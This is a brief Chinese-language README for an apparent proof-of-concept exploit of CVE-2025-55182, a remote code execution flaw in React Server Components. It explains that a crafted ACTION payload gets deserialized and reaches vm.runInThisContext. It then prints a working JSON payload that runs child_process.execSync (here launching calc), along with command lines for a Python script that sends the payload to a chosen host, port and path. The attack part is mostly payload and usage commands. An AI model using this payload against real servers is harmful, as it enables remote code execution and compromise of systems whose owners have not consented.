CVE-2025-55182 React Server Components RCE POC

本项目为 CVE-2025-55182 - React Server Components (RSC) RCE Proof of Concept，演示在特定条件下可通过 vm.runInThisContext 与 恶意 ACTION payload 触发远程代码执行。

• Python 端：自动化发送恶意 ACTION payload 并解析响应

⚠ 漏洞简介（CVE-2025-55182）

React Server Components 的 ACTION payload 在某些条件下会：

• 被反序列化为 JS 对象
• 进入 vm.runInThisContext 执行
• 自动注入到 server actions 中

攻击者可构造 payload：

{
  "$ACTION_REF_0": "",
  "$ACTION_0:0": "{\"id\": \"vm#runInThisContext\", \"bound\": [\"global.process.mainModule.require('child_process').execSync('calc').toString()\"]}"
}

python a.py --host <目标IP> --port <端口> --path <目标URL路径>

python a.py --host 127.0.0.1 --port 3003 --path /feedback